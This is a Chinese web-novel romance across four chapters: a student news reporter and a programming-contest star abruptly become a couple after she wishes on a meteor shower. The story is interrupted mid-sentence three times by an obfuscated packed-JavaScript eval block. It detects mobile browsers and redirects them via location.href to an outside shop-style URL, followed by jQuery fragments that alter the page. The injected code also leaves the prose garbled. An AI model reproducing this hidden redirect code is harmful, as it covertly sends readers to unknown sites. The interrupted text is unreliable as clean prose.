《雨水心事》
1. chapter1
晚上八点,飞往夏威夷的飞机上,空调温度开的有些低,柏妤刚刚睡醒。
她懵懵地睁开眼,不知自己何时睡到了一旁萧阔的肩上。
她身上还盖着一件黑色运动风外套,在她睡着之前这件外套还穿在萧阔身上。
她坐正了,将往下滑的衣服拽好放在腿上,转头看向萧阔。
他正闭着眼睛,双手抱在身前,头歪向另一侧。
萧阔的睫毛很长也很浓密,他的鼻梁高挺,冷白的灯光打下来,阴影让他的五官更显深邃。
空调的温度有些低,柏妤今天穿的浅粉色长裙。她在上飞机之前忘记把针织外套从行李箱中取出来了。
裙子的双袖是丝质的,此时柏妤的左臂与萧阔相贴,热意从他的身上传过来。
柏妤想她应该把外套还给萧阔,但她好冷,而萧阔身上很温暖。
或许她应该再向空乘要一个毯子,但那样可能会吵醒萧阔。
早知道就把拿外套记在手机备忘录里了,自己到底为什么会忘记提前准备外套这件事。
在柏妤纠结懊恼的时候,耳边传来清爽的男声,但因为刚睡醒,尾音卷着些许懒散。
“你别把我衣服揪坏了。”
柏妤顺着他的目光看过去,自己的手指正在无意识攥紧了他的衣服。
“啊…”
“穿上吧。”
“什么?”
“不是很冷吗,你穿吧。衣服是新换的,很干净。”
柏妤犹豫了一会儿,但她真的很冷。于是小声道谢,把衣服穿上了。
萧阔的衣服宽大,他身高有一米八七,比柏妤高很多,半条手臂就抵得上柏妤的肩宽。
此时他的衣服穿在身上,柏妤的手缩在袖子里晃了晃。
飞机行驶在高空,窗外的天空漆黑一片,玻璃窗上映着萧阔的轮廓。
过了近半个小时,飞机抵达檀香山机场。
“女士们先生们,飞机已降落在夏威夷檀香山国际机场……感谢您乘坐本次航空,祝您在夏威夷度过愉快时光。”
走出机场,柏妤喘了口气,夏威夷的海风带着淡淡的咸味,却没有那么潮湿,很舒服。
带队老师正在联系提前约好的司机和车,司机会负责他们在夏威夷的行程。
他们要先去民宿放行李再吃饭。民宿定在夏威夷大学马诺阿分校附近,今年的ACM国际赛在这举办。
萧阔作为重点培养选手被带来参观学习,柏妤则作为学校新闻部成员,负责跟老师一起记录这次比赛。
在等车的时间里,柏妤低着头看手机,实际上是因为她稍微有点尴尬——萧阔的外套还穿在她身上。
她的尴尬并非过分忧虑,很快就有学姐前来和她搭话。
学姐名叫纪心,是参与此次比赛的组员之一。之前他们进行区域赛时,也是柏妤去写的新闻稿。
当时她和学姐加了联系方式,但并不是很熟悉。
“你和萧阔?你们?”学姐的眼神中满是调侃,柏妤的手有些紧张地揪住袖口。
“飞机上太冷,我忘记提前准备衣服了。”柏妤开口,纪心愣了一下。
“学妹,你声音好好听啊。”
柏妤的声音很柔和,像是春日绵延的雨丝,又透露着刚刚过冬的清冷感。
她说话的腔调柔婉,却又很饱满,是一种独特的感觉。
“谢谢学姐。”柏妤有些羞涩地笑了一下,海风吹乱了她的头发。
柏妤的皮肤白皙,五官精致,嘴巴像朵浅粉色的樱花,声音很温柔。
纪心一时之间看呆了,忘记了原本的八卦心思。
等车的时间不算太长,司机赶到后帮他们放好了行李,一行人坐上了车,前往酒店。
坐车时萧阔没有和柏妤坐在一起。柏妤身边坐着纪心学姐,学姐是个自来熟,话题一个接一个的抛给柏妤。
车沿着公路行驶,道路两旁的椰子树高大挺拔,夜幕漆黑,城市的灯光显得慵懒随性。
偶尔有开着敞篷车的人路过,他们播放的音乐,即使柏妤坐在车上也能听见。
“我们一会儿可以去逛这个。”纪心将手机递给柏妤,是张店铺的照片,里面满是各种各样的凯蒂猫玩偶。
柏妤一眼注意到了一只蓝色冲浪款,“这个好可爱啊。”
纪心点点头,她和柏妤说这家店就在民宿附近,她们有空可以一起去逛。
“大家听我说,”领队老师拍拍手打断了她们的小声嘀咕。
“一会儿到酒店放好行李之后就去吃饭,饭店已经订好了。”
“好期待,我想吃海鲜。”纪心凑到她耳朵边上说。
“听说有家鱼生超好吃。”一位学长说道。
“我们今晚吃拉面。”老师宣布了今晚的安排。
“我们的首要任务是两天后的比赛,这几天大家吃的清淡一点,比赛完我请大家吃大餐。”
“好耶!”鼓掌的声音啪啪响起,柏妤也跟着参与。
教练开玩笑地补充道:“看比赛结果啊。”
到民宿已经快九点半了,柏妤和纪心学姐一起办理了入住,她们两个一间房。
另外两位参赛学长住一间,两位老师一间,萧阔自己一间。
房间是悠闲的度假风,有两张单人床,还有个小阳台,站在阳台上可以眺望到沙滩和大海。
纪心学姐说她睡眠偏浅,所以睡靠墙的那张床,靠近小阳台的那张自然而然地留给了柏妤。
柏妤很开心地打开阳台的玻璃门,海风片刻不忍地吹进卧室。
她捋捋被风吹乱的头发,将身上的外套脱下来叠好摆在一边,然后去行李箱里拿了自己的薄针织开衫穿上。
见柏妤要出门,纪心喊住她,“学妹我马上好了,我们一块下去嘛。”
“我先去还萧阔外套。”
“刚刚老师在群里发了集合呢,没准他先下去了,你一会儿下去给他嘛,我三秒钟就好。”纪心一边穿外套一边拿包。
柏妤觉得她说的有道理,等吃饭的时候拿给萧阔好了。
于是她起身去拿了帆布包,将外套放在包里。
但等到大家都到齐之后,萧阔也没下来。
老师说他没什么胃口,就不和大家一块去了。
柏妤有些担心地看了看和他的聊天对话框。
预定的面馆并不远,走路就能到。沿街有许多商铺,大家商量着吃过饭可以过来逛一逛。
纪心拉住柏妤的手,让她往右边看,正对面的那家店就是纪心在车上和她说的玩偶店。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101573|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到达面馆,排骨汤的香味扑面而来。暖色系的木质房梁和地板让店内显得干净且温馨。
店内人不多,这个点吃面的人比较少。
老板是中国人,店里的菜单都标注了中文,柏妤发现店里还售卖珍珠奶茶,所以她点了一碗牛肉汤面和珍珠奶茶。
纪心在等餐期间开始做旅行攻略,柏妤凑过去看了看,非常详细,连时间都码的密密麻麻。
这次过来比赛,他们有近一周的时间。两天后比赛完,仍有时间休息,可以在欧胡岛好好转转。
“等会儿去不去买娃娃。”纪心凑过来问她。
柏妤思考了一会儿,说她打算下次去,她今天有些累,想早点回去休息。
纪心点点头,“好,那我一会儿帮你留意你想要的那款。”
柏妤点点头,嚼着奶茶里的珍珠,慢吞吞地挑牛肉面里的葱花。
牛肉面很烫,顶上盖着一只荷包蛋,一戳蛋黄,金黄色的流心就流进汤里。
柏妤吃饭比较慢,因为是猫舌头,所以特别怕烫。
大家都吃完了,柏妤还没有。柏妤让大家先去逛街,她吃完会直接回民宿。
等大家都离开之后,柏妤看着菜单,又打包了一碗卤肉饭和苹果汁。
她拎着饭盒,回到了民宿。她没去自己的房间,而是径直到了萧阔的房间门口。
柏妤敲了敲门,门里没有动静,柏妤又敲了几次,都没有人开门。
难道是晕机?还是说因为把外套借给柏妤,自己着凉了?
她有些担心地将耳朵贴在门上,试图听里面的动静。
这时门从里面被拉开了,萧阔站在她面前,扶住她险些没靠稳的肩膀。
“我刚刚在吹头发,怎么了吗?”萧阔低头问她。
柏妤摇摇头,站好之后,将手里的饭盒递给他,“我帮你带了饭,还有果汁。”
“…谢谢。”萧阔将饭盒接过去。
“还有这个是你的外套。”柏妤从自己的包里拿出外套,外套拿出来时,裹在里面的手机也顺势落到了地板上。
萧阔弯下腰去帮她捡,手机屏幕亮起,是明日的天气推送。
萧阔愣了两三秒,站起身递手机给她:“我查过天气预报,这一周都不会下雨。”
柏妤点点头,杏眼轻眨,“我知道,夏威夷四月份很少下雨。”
走廊里有些闷,柏妤将散落的头发撩至耳后,白皙的脖子露了出来。
萧阔看了一眼,迅速转移了视线。半晌,他说:“嗯。”
柏妤回到了自己的房间,萧阔发来新的消息:
[下次接吻的话,你说不要亲脖子。]
什么、为什么突然说这个?
柏妤的脸色涨红,像是羊脂玉里包了朵粉色的花,又羞又恼。
突然之间想到了什么,她跑去洗手间照镜子,在自己的脖子上发现了一抹极淡的红晕。
[这个不是亲的,是被蚊子咬…]
没有打完的消息,柏妤又将它全部删除了,她不知道要怎么回复萧阔的这句话。
在他发这条新消息之前,两人的对话框里,满屏都是萧阔发来的消息:
[小妤,宝宝。]
[我想亲你。]
……
2. chapter2
“你脸怎么这么红?”纪心一回来就看见柏妤坐着发呆,脸红的像苹果。
“房间有点热。”柏妤背过身去,把阳台的玻璃门打开透风。
纪心从包里掏出一只凯蒂猫给柏妤展示,小小的一只玩偶握在手掌心,很萌。
“但是很遗憾,你喜欢的那款缺货了。”
纪心刚去店里的时候,自己想买的和柏妤想买的都只剩下几只了,她就先拿了自己想要的。
等她回头想帮柏妤买的时候,那个款式已经全被买走了。
“不过我帮你问了店主,过几天会补货,应该来得及买。”纪心说着,将玩偶挂在了自己的包上。
柏妤点点头,暗自记下,准备回程之前再去一次。
第二天清晨,阳光穿透玻璃落到房间,柏妤睁眼时,纪心学姐已经起床了。
她正在洗手间洗漱,柏妤也提前准备好自己的洗漱包,迷迷糊糊地站在门口排队。
和纪心学姐不同,柏妤的睡眠质量很好。早上睡醒的时候,柏妤还会再赖一会床。
但是现在不行,因为学姐告诉她,要一起去楼下吃早饭。
他们预定的民宿自带餐厅,有一些基础厨具,大家可以自由使用。
昨天晚上逛街的时候,老师在超市买了一些面包和蔬菜,这样早上就可以自己做早饭了。
柏妤洗漱过后,被纪心拉着下楼。
从楼梯口拐弯是客厅和开放式厨房,餐桌在二者之间。
萧阔背对着大家,一只手扶着脖子一只手拿着锅铲,将煎好的鸡蛋放进盘子里。
他转过身,嘴巴叼着一块吐司,眼神略过从楼梯上下来的柏妤。
咬了一口吐司,他随口说道:“我再煮两个荷包蛋。”
萧阔包揽了大家今早的煎鸡蛋工程,煎鸡蛋被大家夹走放进了自己的吐司片中,晚到的柏妤坐着等待水煮荷包蛋。
没多久水煮荷包蛋摆在了柏妤的吐司上,嫩滑的鸡蛋和昨天面馆的流心荷包蛋不遑多让。
“纪心,你这娃娃在哪买的?”问的人是参赛三人队伍之一的学长。
他有个妹妹,正读小学的年纪,知道他这次要出国比赛就闹着要他带纪念品回去。
他正愁要买什么,纪心包上的娃娃倒是很合适,穿着草裙,一看就是当地限定。
“在附近的商店,但是我这一款缺货了,我差一点就没买到呢。”纪心将昨晚幸运买到的娃娃经历告诉他们。
“可惜学妹想要的我没买到。”
“你喜欢这一款的话可以和学妹一起等补货。”
“这样啊,那我等补货之后再去看看吧。”
早餐过后,教练组织纪心他们去测试比赛用机,提前熟悉比赛环境。
柏妤留在房间里读资料,资料有关比赛的流程和相关术语,方便她明天看比赛和写新闻稿。
这次国际比赛在夏威夷大学马诺阿分校展开,三人一队进行算法竞赛,比赛时长为五小时。
柏妤之前看过区域赛,赛场氛围紧张,整个过程都充斥着键盘敲击声和讨论题目的低语声。
那场区域赛,萧阔也参加了,他所在的队伍拿了金牌。
柏妤当时坐在教练和老师身边,听他们讨论萧阔,围绕萧阔的评论总是:
“他的个人能力很突出,很有天赋。”
“天才选手。”
柏妤坐在观众席上,往下望。参赛队伍很多,其实看不清楚选手的脸,但她知道萧阔在哪个位置。
她看见萧阔在和队友讨论问题,或是在草稿纸上推演思路。
柏妤本身是不了解这个领域的,但是这不妨碍她看得很投入。
她的视线追随着萧阔,偶尔借着拍新闻稿照片,正大光明地将镜头聚焦在他一个人身上。
只是某一瞬间,萧阔拿了矿泉水,拧开瓶盖仰头喝水。
他往人群中瞟了一眼,在柏妤的取景框中,和她对视了。
柏妤知道萧阔看的不是自己,她按下快门,心脏扑通扑通跳。
比赛结果出来之后,萧阔的队伍拿了金牌,纪心学姐的队伍也是金牌。
按照排名,纪心学姐的队伍更靠前。一校一队原则,萧阔的队伍没有入选国际赛。
“……我校代表队将于明年春季赴美国夏威夷参加国际竞赛……”
写完新闻稿之后,柏妤将相机里的照片导出来,发到工作群里。
老师会审核她写的新闻稿,然后挑选与文稿相匹配的照片。
和萧阔对视的那张照片,本就是柏妤出于私心拍下的。
画面中的萧阔与镜头遥遥相望,也许是他仰起头喝水时滚动的喉结,或是隆起青筋的手背。
亦或者是他牢牢锁定镜头的眼睛,总之柏妤直觉这张照片不可以被别人看到。
镜头是有语言的,谁都能从照片里看出拍摄者的情绪。
柏妤不希望被发现,因此这张照片只存在于她的手机相册里。
之后柏妤的生活依旧按部就班,教学楼上课,图书馆备考期末考试,接着迎接寒假。
寒假柏妤没有回家,而是留在泠市的电台实习。
从学校去电台的距离有些远,为了方便通勤,柏妤在工作地附近租了间屋子。
她住的小区比较旧,每户的面积都偏小,因此一个人住也不是很贵。
电台实习的工作并不难,大部分活儿都是一些跑腿打杂类的。柏妤可以跟着前辈们学习,得到了很多经验。
从冬天跨到春天,柏妤在积极地积累工作经验,学习课程之外的知识。
三月初,气温回暖又骤降,这样的反复无常让流感有了可乘之机。
上班时,大家都带着蓝或白色的口罩,窗户也时常打开通风。
可通风虽好,但气温总是偏低的。坐在柏妤旁边的姐姐,也是主要负责带她的前辈就中招了。
去医院检查之后,幸好不是流感,只是普通的感冒。
前辈请了一天假,当天有项录制工作被交给了柏妤。
“你的声音条件很不错,可以去尝试一下。”
前辈交代的工作并不难,需要柏妤录制一段诗歌朗读的素材。
柏妤这才了解到,今晚有天琴座流星雨,电台制作了一期流星雨特别报道。
柏妤要做的就是录制一段诗歌音频,用作节目开头的引子。
这是柏妤第一次参与正式录制,之前她一直跟在前辈们身后帮忙。
大致的流程她都熟悉了,可亲自上场还是免不了紧张。
柏妤在提前熟悉稿子时,察觉到自己的声音有些颤音,这很不妙。
她有些担心自己会拖累大家的进度,也害怕做的不够好会失去这次机会。
突然之间,她想到了萧阔,在比赛时冷静且从容的萧阔。
无论结果是什么,现在都要去做不是吗?
她站起身将稿子叠好,喝了一口水,进去录制了。
“…银河流转在琴弦之中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101574|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,
流星是夜谱上的音浪。
若今夜你存在我心,
我必定将你吟唱…”
天琴座是北天的一个小星座,主要星星排列得像一个小小的竖琴。
在希腊神话中,俄耳浦斯为救妻子,带着他的竖琴闯入冥界。
他的音乐打动了冥王和冥后,俄耳浦斯被允许将妻子带人间,但在离开冥界之前他决不可回头。
在即将重返人间时,出于爱意和忧虑,俄耳浦斯回头看向了他的妻子。
因此欧律狄坠回了冥界,二人从此相隔。
在俄耳浦斯死后,他的竖琴被升上天空,化为了北天银河中的天琴座。
“OK!一遍过!”柏妤回过神来,她已经念完了整首诗。
她的嗓音本就柔和,念着这首诗就像是对着爱人的轻声呢喃。
大概是想到了这则希腊神话,因此她的情绪也足够饱满。
负责录制的工作人员拍拍她的肩膀以示鼓励,柏妤这两个月踏踏实实地工作,大家都看在眼里。
第一次尝试录制正式节目,虽说只是一小段音频,但她的表现确实很好。
“明天周末,你就先下班吧,今晚十一点记得听听节目哦!”
柏妤的心雀跃着,下班时脚步也显得轻松欢快。
这是值得纪念的一天,柏妤这样想着,就去了蛋糕店。
她挑选了一块小巧的草莓慕斯,然后去超市买了些食材,打算今晚做火锅。
柏妤不怎么做菜,自从之前炒菜被油烫了两个大泡她就暂时歇了心思。
但就算不开火,她也还有电锅,煮火锅还是很简单的。
柏妤买了好多丸子和蔬菜,火锅咕噜咕噜冒泡,幸福的气息也跟着沸腾。
吃饱喝足之后,柏妤开始等待十一点。今晚十一点,天琴座流星雨将迎来极大值。
于此同时,电台也会开始流星雨的报道。
柏妤可以收听到自己的声音,她第一次录制的声音。
临近十一点,柏妤戴上了耳机,提前调好频道,打开窗户望着夜空。
“滴滴滴。”消息提示音响起,来自新闻部指导老师,老师给她转发了ACM国际赛的消息。
柏妤的新闻稿一向写的出色,这次去夏威夷写新闻稿的任务也落在了她身上。
指导老师将柏妤拉进新建好的工作群,群里都是之前区域赛的熟人。
出乎意料的,柏妤在群里看见了萧阔。
萧阔的头像是片洁白的雪地,写着萧阔名字的缩写,看起来像是无欲无求的性冷淡。
萧阔也要去夏威夷啊……
耳机里传来柏妤的声音,即便是自己的声音,可她听着却有些失真。
“银河流转在琴弦之中,流星是夜谱上的音浪。若今夜你存在我心,我必定将你吟唱…”
若今夜你存在我心…
柏妤抬头看到了划过夜幕闪闪发光的流星。
她突然想到了以前折星星,折完一颗就扔进玻璃罐里。
彩色星星扔进玻璃罐的弧度,意外地和流星划过天空的轨迹重合了。
若今夜你存在我心…
她睁大眼睛看着流星,愣神片刻,不知为何想起自己收藏夹里的众多情侣头像。
她心想:
不知道萧阔谈恋爱是怎样的。
要是可以和萧阔恋爱就好了。
若你今夜存在我心,
我必定将你吟唱…
3. chapter3
如果昨晚没有这么许愿。
被吻住时柏妤忍不住走神,如果昨天许的不是这个愿望,而是中奖五百万,是不是也会实现呢?
“小妤,在想什么?”
萧阔从背后抱住她,他吻着她的脖侧,感受到她皮肤下跳动的血管。
浅淡的香味藏在白皙的皮肉之下,柏妤像春天被雨打湿的花。
“心跳的好快,是很喜欢我吗?”
柏妤的手被迫与他十指交扣搭,掌心的汗水黏合在一起。
她在心里默默说:“不是,是因为太心虚了。”
小雨淅淅沥沥,地面上积水多的像个浅池塘,雨水荡开一圈一圈的细波纹。
*
柏妤是被雨声吵醒的,昨晚听完流星节目已经有些晚了。
加上今天是周末不用上班,因此柏妤也没有定闹钟。
阴雨天使得房间里的光线昏暗,纱帘外灰蒙蒙的,雨噼里啪啦敲打着窗户。
柏妤翻身去拿床头柜的手机,手机因为没电自动关机了。
于是她只能起床去给手机充电,意外地是,似乎停电了。
房间的灯按不亮,柏妤只好拉开窗帘,让阴天的自然光照进房间。
她把书桌上的平板点开,还有一些电量,平板和手机的消息互通。
柏妤这才得知,小区发了停电公告,要等下午两点之后才会来电。
去抽屉里翻出来很久没用的充电宝,白色的指示灯闪烁两下之后没了动静。
柏妤无奈地去洗手间洗漱,打算出门去便利店租个充电宝。
她从衣柜里找了条裤子,穿在自己的吊带睡裙下,然后裹上长款外套,走到玄关处,拿上雨伞准备出发了。
开门时,雨的声音变得清晰起来,随之而来的还有一片阴影。
柏妤家门口站着个人,身型高大,几乎挡住了柏妤的全部通行道路。
他身上被雨淋湿了,发尖也滴着水,灰色的连帽卫衣让深色的水印格外显眼。
此刻的天气阴郁,潮湿不断蔓延。
他低下头盯住柏妤的脸,平时那双柏妤不敢对视的眼睛就一眨不眨地看着她。
柏妤的眼神乱飘,她屏住呼吸,有些紧张且茫然。
萧阔为什么会出现在她家门口?
“小妤。”他的声音比平时要沙哑一点,流露出缱绻和情意。
柏妤像是突然被雨水滴到了后颈,浑身都发麻。她以为自己幻听了。
对眼下发生的事情感到不知所措,唯一能做的就是先关上门,再整理混乱的思绪。
只是她刚拉上门,萧阔的手就从门缝中伸进来,几乎差一点点,他的手就会被夹住。
“嘶。”萧阔呼痛的声音迫使柏妤将门打开了。
“夹到手了吗?”柏妤听不出自己声音中藏着的急切。
萧阔将手伸出来,柏妤一时顾不上其他,抓住他的手开始检查伤口。
从手掌翻到手背,没有任何压痕。柏妤暂时放下心来,将他的手松开。
没成想萧阔反握住了她的手,他的手骨节分明且修长有力。
凸起的青筋不难看出他用了点力气,柏妤以为他的手掌会很冷,因为雨水加重了他周身的寒气。
但其实不是,萧阔的手很热,甚至在发烫。
柏妤的呼吸急促了起来,她还在状况之外。想要挣脱手腕,但力气不够。
“小妤宝宝。”
“?!”
“你怎么…这样喊我…”柏妤震惊到有些语无伦次。
听完这句话,萧阔的表情明显有些委屈。本来就淋了雨,此刻他声音黏糊糊的,像只小狗在哼唧。
“我们不是在谈恋爱吗?”
什么谈恋爱?!
柏妤觉得也许她是在做梦,其实她并没有睡醒。
这样的情况也不罕见,偶尔她会做梦梦见自己起床了,但其实并没有。
在柏妤思维扩散的几秒钟里,楼道里出现了下楼的脚步声和交谈声。
“你先进来再说。”
她瞬间脸色泛红,将萧阔拉进屋子,随即关上了门。
关上门之后,两个人的距离就更近了。玄关的空间很小,萧阔站在她面前,就像把她堵在了这里。
柏妤觉得连呼吸也变得拥挤。她混乱的大脑开始思考萧阔刚刚说的那些话。
“我们在恋爱吗?”柏妤张口问他。
“你要反悔吗?”握住柏妤手腕的指头收紧,萧阔低下头盯住柏妤乌黑的发顶。
“……”
见柏妤一言不发,萧阔松开她的手腕,将她的背抵到墙上,他的呼吸凝滞片刻,声音克制:“你骗我。”
柏妤飞快地抬头看了他一眼,玄关光线昏暗,萧阔的神情晦涩不清。
“你明明说你喜欢我。”
“我什么时候说的?”柏妤问他。
“你不承认吗?”
完蛋,好像越聊越生气了。柏妤心里纳闷,她是真的想知道为什么萧阔要这么说。
她确信她和萧阔的交流非常少,就算是大冒险也不会找到她头上来。
即使她真的喜欢萧阔,但她也没有告白。和萧阔恋爱是她来说只是一种做梦素材而已。
等等?和萧阔恋爱!
她昨天许愿了,看着天琴座流星雨时,想和萧阔谈恋爱的想法划过脑海。
“不理理我吗?”
察觉到柏妤再一次走神,萧阔叹了口气,低下头抱住了她。柏妤的脸被迫埋进了他的胸口。
好大、好软。
柏妤知道萧阔的身材很好,他有锻炼的习惯,夏天穿短袖时,露出的胳膊肌肉线条十分流畅。
萧阔身上淡淡的薄荷香顺着体温传到柏妤这,她羞红了脸,连带着耳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101575|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朵也发烫。
在安静的室内,衣服摩擦的声音和呼吸声格外清晰。气温回暖的初春,柏妤觉得格外燥热,甚至有些缺氧。
面前的萧阔占据了她全部的视线,就好像空间也缩减到只有他们两个。
柏妤像是被关进了只容纳她和萧阔两个人的箱子里,空气潮湿又闷热。
她晕乎乎的、思维也变的迟钝。柏妤想推开萧阔,但他抱得很紧,察觉到柏妤想推开他,还耍赖似的收紧了双手。
“我要憋死了。”柏妤说话的声音闷闷的。
“哦…”萧阔这才放松了力度。
柏妤开始郁闷地想,难道真的是因为对着流星许愿?但她只是随便想了一下。
直接步入恋爱期,她一点心理准备都没有。
柏妤觉得自己身边好像出现了两个小柏妤。
天使小妤说:“这样不对,萧阔什么也不知道。”
恶魔小妤说:“你别得了便宜还卖乖,谈到就是赚到。”
两只小柏妤说着说着吵了起来,最后恶魔小妤一脚踹翻了天使小妤,宣告胜利:“叽里咕噜说啥呢,先亲一口。”
她没有谈过恋爱,对于初吻这件事,无可避免地感到好奇。
于是柏妤叹了口气,为自己的思想感到羞愧和荒谬。
但面前已经有了更荒谬的事情,突然亲他一口好像都显得无足轻重了。
所以她踮起脚,小鸡啄米般地亲了一下萧阔的嘴唇。
和想象中不一样,一秒钟的初吻什么都感受不到,不甜不软。
有的只是心脏剧烈的跳动和脸颊滚烫的温度。
柏妤有些遗憾地缩回身子,心想一定要平复自己的情绪。
心脏跳动地太快,以至于她都忘记感受初吻了。
在柏妤退回去的下一秒,吻落了下来。带着春日的潮湿和闷热,像屋外的雨,淅淅沥沥一刻也不停。
“等…等一下。”柏妤察觉到萧阔在伸舌头,他在舔她的嘴巴。
她想要的不是这种吻,她想简单地嘴巴碰嘴巴,就像电影里的初吻那样。
“唔……”
因为张口说话了,萧阔得到了机会,他吻得更深了。他一只手和柏妤十指相扣,另一只手扶在她脑袋后,帮她调整接吻的角度。
柏妤被他亲的闭上了眼睛,她的睫毛在颤抖,她在紧张。她睁开眼睛想要推开萧阔,但一睁眼,柏妤就落在了萧阔的眼睛里。
他没有闭眼,他在看柏妤。柏妤的眼泪被逼了出来,发丝被汗或是泪黏在脸上,萧阔帮她撇去。
她的脸很红,外套里穿着单薄的吊带裙,裸露在外的皮肤都泛着粉。
水声混合着屋外的雨声,柏妤觉得她可能会溺死在家里,溺死在春天的雨里。
因为她没办法呼吸,没办法说话。
她的喘息、她的声音全部都被萧阔吃掉了。
4. chapter4
一整个周末都在下雨,萧阔是她的男朋友这件事似乎已经成为了既定的事实。
担忧和幸福的情绪同时充斥着柏妤的内心,只是每当她感到焦虑时,萧阔就好像会什么读心术似的。
开始一遍遍说喜欢她,说的她面红耳赤,接着凑过来亲她。
于是柏妤的烦恼全都靠边站,她最恼的是萧阔对于接吻的热衷程度实在是太高了。
雨敲打着窗户,玻璃透着春雨的冷,柏妤背靠着玻璃窗,双手搭在萧阔肩上。
雨水声混杂着喘息声,吻是漫长的、窒息的、好似要把她吞入腹中。
这两天里,柏妤的嘴巴又红又肿,吃饭喝水时都隐隐作痛。饮食也因此收到影响,只能吃些清淡的。
她开始旁敲侧击地暗示萧阔,自己因为接吻嘴巴破皮,所以应该减少接吻的次数。
萧阔这样回复道:“这两天确实吃的很清淡,有什么想吃的吗?我们可以一起出去吃。”
柏妤觉得自己眼神应该有着明显的幽怨,可萧阔的读心术此时却失效了。
“西餐怎么样?南街那边有家西餐厅,招牌菜山楂鹅肝味道不错。”
“你想吃的话,我提前预定,我们一起去。”
萧阔这样说着,似乎就要拿起手机开始订位置了。柏妤赶紧阻住他说道:“我想在家里吃。”
外面的雨下得很大,柏妤不是很想出门。而且她周五晚上买的火锅食材还剩下一些蔬菜没解决。
“那我来做饭吧。”
“你会做饭?”柏妤有些惊讶,她不知道萧阔有这样一项技能。
“嗯,会一点。”
他嘴上谦虚道只会一点,实际上拿刀切菜的动作很是娴熟,至少比柏妤切的蔬菜块块要好得多。
蔬菜有菠菜、土豆和香菇,柏妤想吃面,所以做的是蔬菜清汤面。面上加了一颗荷包蛋。
筷子轻轻一戳,荷包蛋就流出来蛋黄。是柏妤最喜欢的水煮流心蛋。
平平无奇的蔬菜被萧阔处理一番之后,莫名也变得美味起来。
原本柏妤还觉得寡淡,但香菇的鲜和菠菜的甜中和到一块儿,成了一碗很不错的清汤面。
“明天周一,你就不要过来了,我要去上班。”柏妤提醒萧阔。
他这两天早上很早就撑着雨伞来找她,柏妤的周末也为此付出了不能赖床的代价。
只是明天她就要上班了,萧阔和她的课程安排不一样,周一肯定是要待在学校上课的。
萧阔情绪淡淡地应了一声,然后晃了晃手机。
柏妤这两天和他相处,也对恋爱中的萧阔有了简单的认知。
这样的反应意味着萧阔不满意柏妤的安排,但没有用来反驳的理由。
比如柏妤说亲够了时,他就会这样嗯一声,然后转去亲她其他的位置。
“知道啦,微信再聊。”柏妤这样回答。恋爱中的萧阔比她想象中的要粘人,但也更加生动。
柏妤和萧阔交换过微信,她当时借口写新闻稿,添加了所有参赛选手的微信。
当时几个人一起面对面互换微信,也因此没有在微信上有任何寒暄。
萧阔成了她微信列表里沉不见底的好友,柏妤偶尔点进他的朋友圈,但他很少发东西。
现在柏妤终于可以将他置顶,而不需要再划到列表最底下去找他。
原本备注的全名萧阔,也被柏妤改成了男朋友^_^。
萧阔离开之后,柏妤洗了个澡,她躺在床上看着天花板发呆。
荒唐的周末就这样过去,现实的重力将她的思绪拉了回来,柏妤开始想之后要怎么办?
和萧阔恋爱是甜蜜且快乐的,即使柏妤从没想过要真的和他恋爱。
但这并非因为她不够喜欢萧阔,只是因为她不知道要怎么做。
她没有足够的勇气和精力去做这件事,她需要上课学习,未来还有工作等一系列事情。
柏妤一直很好奇,恋爱要怎样开始,追人要怎么追,怎样才能和喜欢的人恋爱。
在看过一系列教人追crush的帖子之后,忧心忡忡的柏妤觉得还是暗恋简单好上手。
于是她就一直待在自己的舒适区里偷偷暗恋。
柏妤的网名其实隐藏着这个信息,比如萧阔的网名是阔的拼音Kuo。
柏妤冥思苦想,为此构思了一个情侣ID:(小雨滴)。
阔的谐音是括,可以用括号来指代,而柏妤的名字里又有一个妤字,谐音就是雨。
因此柏妤在括号里加了一个小雨滴的emoji,就好像萧阔和柏妤待在一起。
柏妤自认自己的小心思独一无二且天衣无缝,事实上他们俩的网名南辕北辙毫不相干。
改完网名之后有段时候柏妤还总是做贼心虚地改回来,后来发现没有人在意,这才放心大胆地用了。
原本柏妤觉得,只要暗恋就可以了,这是她一个人的事情,她也可以通过暗恋获得快乐的情绪。
可短短两天,她的心境天差地别。
不够,暗恋根本就不够。和萧阔恋爱是完全不一样的感受。
如果说暗恋是每天路过一朵美丽的花,光是看着就能获得好心情的话。那么恋爱就是拥有这朵花,并且它为你盛开。
这怎么会一样呢?柏妤有些贪心地想,许愿时应该再加个期限,让萧阔和她恋爱一百年。
不知道愿望的期限,就好似头顶悬着一把利剑,随时会坠落的忧虑像影子一般,藏在花朵身后。
